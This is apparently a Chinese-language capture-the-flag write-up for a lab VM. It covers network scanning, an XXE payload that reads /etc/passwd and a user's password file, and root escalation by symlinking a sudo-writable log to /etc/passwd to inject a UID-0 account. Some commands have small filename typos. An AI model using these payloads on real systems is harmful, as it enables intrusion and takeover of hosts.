main

arp-scan -l

1
2
3
4
5
6
Interface: eth0, type: EN10MB, MAC: 08:00:27:82:4b:5b, IPv4: 192.168.43.160
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.43.1 12:dd:b5:07:19:10 (Unknown: locally administered)
192.168.43.73 2c:9c:58:8e:96:a5 (Unknown)
192.168.43.74 08:00:27:cf:d8:16 PCS Systemtechnik GmbH
192.168.43.135 08:00:27:dc:f8:76 PCS Systemtechnik GmbH

nmap

1
2
3
4
5
6
7
8
9
10
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Library Membership Registration
MAC Address: 08:00:27:DC:F8:76 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

访问 wenb

源码提示

1
2
3
4
5
6
7
8
9
<!-- XML STRUCTURE EXAMPLE -->
<!--
<user>
<name>John Doe</name>
<tel>123-4567890</tel>
<email>admin@admin.com</email>
<password>secret123</password>
</user>
-->

XXE打一下文件读取

exp

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE ANY [
<!ENTITY fuck SYSTEM "file:///etc/passwd">
]>

<user>
<name>John Doe</name>
<tel>123-4567890</tel>
<email>
&fuck;</email>
<password>secret123</password>
</user>
1
2
welcome:x:1000:1000:,,,:/home/welcome:/bin/bash
mosquitto:x:106:113::/var/lib/mosquitto:/usr/sbin/nologin

expect://id 执行不了命令

盲猜一般 user.txt 和 pass.txt

可以读出

/home/welcome/pass.txt

flag{user-9e681bd76c8db380aa2797b8becf6ba3}

==》

welcome:bd7787d41a6b28e9976873cf6a8445fe

ssh 连接


sudo -l

查看到可以无密码执行 /opt/sub.sh

1
2
3
4
5
6
welcome@Bamuwe:/var/lib/mosquitto$ sudo -l
Matching Defaults entries for welcome on Bamuwe:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on Bamuwe:
(ALL) NOPASSWD: /opt/sub.sh
1
2
welcome@Bamuwe:/var/lib/mosquitto$ ls -la  /opt/sub.sh
-rwxr-xr-x 1 root root 52 Apr 28 10:50 /opt/sub.sh

sudo /opt/sub.sh 后提示查看 mosquitto 的帮助信息

上网查询关于 mosquitto 的信息

Mosquitto 是一个开源的 MQTT 代理服务器(MQTT Broker),实现了 MQTT 协议(轻量级物联网消息协议)。它由 Eclipse 开发,适用于低带宽、高延迟的物联网(IoT)环境

主要用法如下

1
2
3
mosquitto_sub -h localhost -v -t "test"    订阅消息

mosquitto_pub -h localhost -t "test" -m 'hello world' 发布消息

可以查看 /opt/sub.sh 内容

1
/usr/bin/mosquitto_sub "$@" > /home/welcome/sub.log

即调用 sub 的订阅功能,并把接受到的结果输出到 sub.log

本来想进行命令执行,然后获取shell或者敏感信息,但行不通

1
2
3
sudo /opt/sub.sh -h localhost -t "test" -v
mosquitto_pub -h localhost -t "test" -m "$(cat /etc/shadow)"
cat /home/welcome/sub.log

因为 sudo 权限在订阅端,无法在 pub 端进行 sudo 执行

但注意到 > /home/welcome/sub.log 这个写入过程,并且其中 sub.log 用户可控

那么可能就可以创建软链接指向 /etc/passwd,添加新高权限用户

先准备一个写好的 /etc/passwd 的备份文件,结尾添加了一个用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
welcome@Bamuwe:~$ cat bake.txt
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
welcome:x:1000:1000:,,,:/home/welcome:/bin/bash
mosquitto:x:106:113::/var/lib/mosquitto:/usr/sbin/nologin
test:adMpHktIn0tR2:0:0:User_like_root:/root:/bin/bash

然后进行写入

1
2
3
4
5
rm sub.log
ln -s /etc/passwd sub.loh
sudo /opt/sub.sh -h localhost -t "test" -v
mosquitto_pub -h localhost -t "test" -m "$(cat passwd.bak)"
cat /etc/passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
welcome:x:1000:1000:,,,:/home/welcome:/bin/bash
mosquitto:x:106:113::/var/lib/mosquitto:/usr/sbin/nologin
test:adMpHktIn0tR2:0:0:User_like_root:/root:/bin/bash

BlingBling,成功写入用户

1
2
su -u test
password:test

提权成功

1
2
3
4
5
6
7
welcome@Bamuwe:~$ su test
Password:
test root@Bamuwe:/home/welcome# cd /root
test root@Bamuwe:~# ls
root.txt
test root@Bamuwe:~# cat root.txt
flag{root-78a594db4a7c7d05f6366740501ad4c6}

后记

可能搞安全不仅仅需要知识的原始积累,更重要的是快速的学习能力和分析思维。后面会遇到更多没有见过的东西和抽象的东西,只要把思维格局打开,才能适应未来快速变化的环境。

这个可以当作兴趣。